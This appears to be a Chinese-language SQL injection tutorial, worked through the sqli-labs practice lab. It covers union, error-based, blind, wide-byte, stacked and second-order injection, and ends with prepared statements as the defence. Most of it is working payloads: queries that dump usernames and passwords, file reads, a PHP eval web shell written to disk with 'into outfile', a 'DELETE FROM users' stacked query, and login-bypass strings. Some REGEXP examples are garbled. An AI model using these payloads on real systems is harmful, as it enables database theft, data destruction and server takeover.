本文章主要以MySQL数据库的注入分析
一库三表六字段(MySQL):
information——schema:它是数据库自带的 “元数据信息库”,存储着当前数据库实例里,关于数据库、表、字段等结构的描述信息,相当于数据库的 “目录”,让你能查询数据库自身的结构细节 。
schemata 表:存数据库(模式)的基本信息,schema_name 字段就是具体数据库的名称,查有哪些数据库时可从这取。
tables 表:记录表的信息,table_name 是表名,table_schema 表示这张表所属的数据库名,想知道某个库有哪些表,就查这里。
columns 表:存字段(列)信息,column_name 是字段名,table_name 是字段所属的表名,table_schema 是字段所属的数据库名,查某表有哪些字段、字段属于哪个库 / 表,靠它。
注入点判断(这里以sqli-labs为背景讲解):
SQL注入有首先要判断注入点,注入分为数字型注入、字符型注入
数字型注入:
后端 SQL 语句中,参数id未被引号包裹,例如:
select * from users where id=1(参数直接作为数字参与查询)
此时在 URL 后添加and 1=1或and 1=2(如?id=1 and 1=2),若页面返回结果不同,可初步判断为数字型注入点。
字符型注入:
后端 SQL 语句中,参数id被引号(单引号’、双引号")或括号 + 引号组合包裹,例如:
select * from users where id='1'(单引号包裹)
select * from users where id=("1")(括号 + 双引号包裹)
此时添加单引号’(如?id=1’)会导致 SQL 语句语法错误(引号不闭合),
变成select * from users where id=‘1’',进而触发数据库报错,以此判断为字符型注入点。
若添加’报错:说明参数被单引号包裹(如id=‘1’);
若添加"报错:说明参数被双引号包裹(如id=“1”);
若添加)报错:说明参数被括号 + 引号包裹(如id=(‘1’),添加)后变为id=(‘1’)‘),语法错误);
组合使用(如’) “))等):用于应对更复杂的包裹方式(如id=((“1”)),添加”))可打破闭合)。
注意:
某个字符能打破后端语法闭合导致报错,说明该字符对应的包裹方式存在,进而确认注入点类型(因为注入的特殊字符破坏了原有 SQL 语句的语法结构,导致数据库无法正常解析执行,从而触发语法错误。)
传参方式:
传参方式有很多种,常用的有get型、post型、cookie、User-Agent等方式,注入的内容也根据实际情况不通使用不同的传参方式
联合注入:第一关
第一关(get形式传参)
补充:
group_concat(field1,field2,…)作用:将多个查询结果连接成一行
参数field:需要参与拼接的字段名(可以一个或者多个),
判断注入点
用’ “ ) )) 四种方式和单双引号+括号的组合来判断,哪个错了,哪个就是注入点,如果都错了,那就是数字型注入点
http://127.0.0.1:8888/sqli/Less-1/?id=1’报错
判断列数(字段数):
http://127.0.0.1:8888/sqli/Less-1/?id=1’ order by 3–+
注意:这个’–+’在get传参不能漏,否则这里会报错
第四个开始出现错误,那么这个字段就只有三个
看回显:
http://127.0.0.1:8888/sqli/Less-1/?id=-1’ union select 1,2,3 –+
联合注入最重要的一步,该步骤不成功或者始终显示和前面同一个页面,不是联合注入
还有这个id=-1’这里一定要负一
查看数据库和版本:
http://127.0.0.1:8888/sqli/Less-1/?id=-1’ union select 1,database(),version() –+
前面回显里把2和3回显出来了,这里我们在2和3的位置进行替换成database()和version()
http://127.0.0.1:8888/sqli/Less-1/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 –+
或者
http://127.0.0.1:8888/sqli/Less-1/?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
http://127.0.0.1:8888/sqli/Less-1/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3 –+
?id=-1’ union select 1,(select group_concat(username,id,password) from security.users),3 –+
?id=-1’ union select 1,(select group_concat(username,id,password) from users),3 –+
文件读取(联合注入下的文件读取):
条件:
1.当有显示列的时候,文件读可以利用union注入
2.没有显示列的时候,只能利用盲注进行读取
union注入读取文件(load_file)
?id=-1’ union select 1,2,load_file(“D:/phpstudy_pro/WWW/sqli/kkk.txt”) –+
理论上应该是成功的,不知道为什么这里不显示
这里这个文件路径"D:/phpstudy_pro/WWW/sqli/kkk.txt"可以变成十六进制
union注入写入一句话木马(into outfile)
//利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,‘<?php @eval($_POST[aaa]);?>’ into outfile ‘L:/4.php’ #
// 可以将一句话木马转换成16进制的形式
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile ‘L:/4.php’ #
盲注读取文件
//盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
http://127.0.0.1/sqli/Less-1/?id=-1’ and ascii(mid((select hex(load_file(‘e:/3.txt’))),18,1))>49#’ LIMIT 0,1
报错注入:第一关
补充
updatexml(XML_document, XPath_string, new_value)
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1
第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
判断:
?id=1’
判断是否为报错注入,在地址栏里输入’ “ ) )) 四种方式或者单双引号+括号的组合来判断,哪个错了,哪个就是注入点
验证:
?id=1’ and updatexml(1,0x7e,3); –+
正常报错,为报错注入
爆库(获取所有表名):
获取当前数据库?id=-1’ and updatexml(1,concat(‘~’,database()),3) – +
拿表
?id=-1’ and updatexml(1,concat(‘~’, substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) , 1 , 31) ),3) – +
?id=1’ and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)) –+爆表出’emails,referers,uagents,users’
?id=1’ and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1)) –+换成这个也一样,因为就是上面的库名
?id=1’ and (updatexml(1,concat(0x7e,(select group_concat(column_name)
from information_schema.columns where table_schema=‘security’ and
table_name =‘users’),0x7e),1)) –+爆出字段’id,username,password’
?id=-1’ and updatexml(1,concat(‘~’,
substr((select users
from security ) , 1 , 31) ),3) – a
Substr(string,start,number)
String:要截取的字符串,start:从哪个位置开始截取,number:截取的数量
?id=1’ and (updatexml(1,concat(0x5c,(select group_concat(password,id,username) from users),0x5c),1)) –+
报错注入中常见的报错函数
MySQL
注意:
报错注入利用的函数有很多:
Xpath格式报错:updatexml()、extractvalue()
主键重复报错:floor()
数据溢出报错:exp()
非几何参数报错:multipoint()、polygon()等
列名重复报错:join、name_const()
SQLserver:
convert(); 用来类型转换,第二个参数包含特殊字符会报错
cast(); 用来类型转换,参数包含特殊字符会报错
Oracle:
没有报错函数,可以用比较运算符报错
Access:
不支持报错注入,只能使用枚举
布尔盲注:第八关
时间盲注使用到length()、ascii()、substr()、group_concat()三个函数
使用条件:
页面没有回显位置(联合注入无法使用),没有报错信息(报错注入无法使用),页面只有登录成功和失败两种
判断:
输入 ‘ “ ) ))或者单双引号和单双括号的两两结合判断,正确的即为注入点
输入?id=1”显示成功
?id=1’ and length((select database()))=8–+
这个判断条件根据实际情况改变
拿库
判断库长度
?id=1’ and length((select database()))=8–+
逐一确定库字符
?id=1’and ascii(substr((select database()),1,1))=115–+ →s ?id=1’and
ascii(substr((select database()),2,1))=101–+ →e ?id=1’and
ascii(substr((select database()),3,1))=99–+ →c … ?id=1’and
ascii(substr((select database()),8,1))=121–+ →y
拿表
判断表长度
?id=1” and length((select group_concat(table_name) from
information_schema.tables where table_schema=database()))>13–+
逐一确定表字符
?id=1” and ascii(substr((select group_concat(table_name) from
information_schema.tables where table_schema=database()),1,1))>99–+
拿字段
判断字段名长度
?id=1” and length((select group_concat(column_name) from
information_schema.columns where table_schema=database() and
table_name=‘users’))>20–+
逐一判断字段具体值
?id=1” and ascii(substr((select group_concat(column_name) from
information_schema.columns where table_schema=database() and
table_name=‘users’),1,1))>99–+
拿数据
判断数据长度
?id=1” and length((select group_concat(username,password) from
users))>109–+
逐一拿到字段具体值
?id=1’ and ascii(substr((select group_concat(username,password) from
users),1,1))>50–+
弊端:
时间复杂度大,消耗时间巨大
一般编写脚本和使用sqlmap爆破
时间盲注(延时注入):第九关
时间盲注使用到length()、ascii()、substr()、group_concat()三个函数
使用条件:
无回显(联合注入无法使用)
无报错信息(报错注入无法使用)
无论成功或者失败,页面只响应一种结果(布尔注入无法使用)
使用’ “ ) ))或者单双引号的两两组合均返回一种页面

使用?id=1’and if(1,sleep(5),3) –+
前面id=1’是判断注入点,后面if(1,sleep(5),3)是延时注入的条件
如果该语句被成功执行会在5秒后刷新页面
取库
判断库长度
?id=1' and if((length(database())>1),sleep(5),3) — +
length(database())>1,这里的1,依次递增,
本关就是length(database())>7,延时5秒返回,length(database())>8直接返回,则库的长度为8位(security)
逐一判断库名的具体字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)–+ →s
?id=1'and if(ascii(substr((select database()),2,1))=101,sleep(5),1)–+ →e
?id=1'and if(ascii(substr((select database()),1,1))=99,sleep(5),1)–+ →c
?id=1'and if(ascii(substr((select database()),1,1))=121,sleep(5),1)–+ →y
取表
判断表长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)–+
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29,sleep(5),1)–+立即返回,则表名长度为29
逐一取表名具体字符(同上)
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)–+
取字段
判断字段长度
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)–+
逐一取字段名
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)–+
拿数据
判断数据长度
?id=1' and if(length(select group_concat(username,password) from users))>109 –+
逐一确定具体值
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)–+
弊端:
时间复杂度大,消耗时间巨大
容易受网络波动等因素影响
一般编写脚本和使用sqlmap爆破
盲注之正则表达式使用
查找name字段中以'st'为开头的所有数据
mysql>SELECT name FRoM person tbl WHERE name REGEXP '^st';
查找name字段中以'ok'为结尾的所有数据
mysql>SELECT name FRoM person tbl WHERE name REGEXP 'ok$'s
查找name字段中包含'mar'字符串的所有数据
mysql>SELECT name FRoM person tbl WHERE name REGEXP'mar 5
查找name字段中以元音字符开头或以'ok'字符串结尾的所有数据
mysql>SELECT name FRoM person tbl WHERE name REGEXP>"e[aeiou]|ok$’s
已知数据库名为 security,判断第一个表的表名是否以 a-z 中的字符开头,^[a-z]–> ^a ; 判断出了第一个表的第一个字符,接着判断第一个表的第二个字符 ^a[a-z] –> ^ad ; 就这样,一步一步判断第一个表的表名 ^admin$ 。然后 limit 1,1 判断第二个表
// 判断security数据库下的第一个表的是否以a-z的字母开头
http://127.0.0.1/sqli/Less-1/?id=1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) #
宽字节注入:
原理:
宽字节注入的本质是利用双字节编码(如 GBK)的解析特性,打破应用程序对单引号的转义保护。
转义机制的常规操作
应用程序通常会用反斜杠(\\)转义单引号(‘),例如:
用户输入’ → 转义后变为’(\\的 ASCII 码是0x5C,‘是0x27)。
宽字节的 “吞噬” 逻辑
在 GBK 编码中,两个字节可组成一个汉字,且第一个字节范围是0x81-0xFE。
若攻击者输入一个0x81-0xFE范围内的字符(如0xBF),会发生:
输入字符0xBF + 转义符0x5C → 组成 GBK 汉字0xBF5C(“缞” 字)
原本用于转义的0x5C被 “吃掉”,单引号0x27恢复原样,成功闭合 SQL 语句。
示例:
网站使用的时GBK编码
攻击者输入:%BF’ OR 1=1#(%BF是0xBF的 URL 编码)
服务器转义后变为:0xBF 0x5C 0x27 OR 1=1#
GBK 解析:0xBF5C被识别为汉字 “缞”,剩余0x27(单引号)闭合字符串
SELECT * FROM users WHERE username = '缞' OR 1=1#'
注入成功
堆叠注入:
有兴趣可以去找【强网杯 2019】随便注这道题看看
堆叠注入(Stacked Injections)指攻击者在同一个数据库连接中,通过分号(;)分隔,一次性执行多条 SQL 语句,从而突破应用程序的限制,执行额外的恶意操作。
下面时一条堆叠注入的语句
SELECT * FROM users WHERE id=1; DELETE FROM users;
数据库会先执行查询,再执行删除操作。
预编译
原理:
传统 SQL 执行流程是 “拼接 SQL 字符串 → 提交数据库 → 数据库解析 / 编译 → 执行”,而预编译将流程拆分为两步:
编译阶段:提交包含占位符的 SQL 模板(如 SELECT * FROM users WHERE id = ?),数据库对模板进行语法解析、优化、生成执行计划,并将编译结果缓存。
执行阶段:仅传入具体参数(如 1),数据库直接使用缓存的执行计划执行,无需重新解析编译。
这种机制确保参数仅作为数据处理,不会被解析为 SQL 指令,从根本上避免了 SQL 注入。
通用 SQL 预编译语法(分步骤执行)
多数关系型数据库(如 MySQL、PostgreSQL、SQL Server、Oracle)支持预编译,核心语法包括 定义模板、传入参数执行、释放资源 三个步骤,以下是通用示例:
使用 PREPARE 语句定义 SQL 模板,用占位符表示后续要传入的参数。
占位符格式:
匿名占位符:?(MySQL、PostgreSQL、SQL Server 等通用)。
命名 / 位置占位符:$1、$2(PostgreSQL)或 :param(Oracle)。
– 示例 1:MySQL/PostgreSQL 匿名占位符(?)
PREPARE user_stmt FROM 'SELECT id, username FROM users WHERE age > ? AND status = ?';
– 示例 2:PostgreSQL 位置占位符($1、$2)
PREPARE user_stmt (int, text) AS 'SELECT id, username FROM users WHERE age > $1 AND status = $2';
– 示例 3:Oracle 命名占位符(:age、:status)
PREPARE user_stmt FROM 'SELECT id, username FROM users WHERE age > :age AND status = :status';
通过 EXECUTE 语句传入具体参数,执行预编译好的 SQL 模板。
参数需与占位符数量、类型一一对应。
sql
– 示例 1:MySQL 执行(USING 后跟参数)
EXECUTE user_stmt USING 18, 'active'; — 年龄>18 且 状态为'active'
– 示例 2:PostgreSQL 执行(直接传入参数)
EXECUTE user_stmt(18, 'active'); — 对应 $1=18,$2='active'
– 示例 3:Oracle 执行(USING 绑定命名参数)
EXECUTE user_stmt USING 18, 'active'; — 对应 :age=18,:status='active'
预编译语句会占用数据库缓存资源,不需要时需释放(部分数据库会自动回收,但显式释放更规范)。
– MySQL/PostgreSQL/Oracle 通用释放语法
DEALLOCATE PREPARE user_stmt;
二次注入:
示例:
建立一个用户
用户名:admin’#
密码:123456
修改该用户名的密码为:aaaaaa
此时admin’#的密码没有变,二admin的密码变为aaaaaa
原理
$sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";
#后边的注释掉了
User-Agent注入:
确定是User-Agent注入后(参数传递在User-Agent中),抓包,然后在该头写入相应的注入语句不断重放即可,
Cookie注入:
确定是Cookie注入后(参数传递在cookie中),抓包,然后在该头写入相应的注入语句不断重放即可,
万能密码:
sql="select*from test where username=’ XX ’ and password=’ XX ’ ";
admin’ or ‘1’='1 XX //万能密码(已知用户名)
XX ‘or’1’='1 //万能密码(不需要知道用户名)
'or ‘1’=‘1’# XX //万能密码(不知道用户名)
评论前必须登录!
注册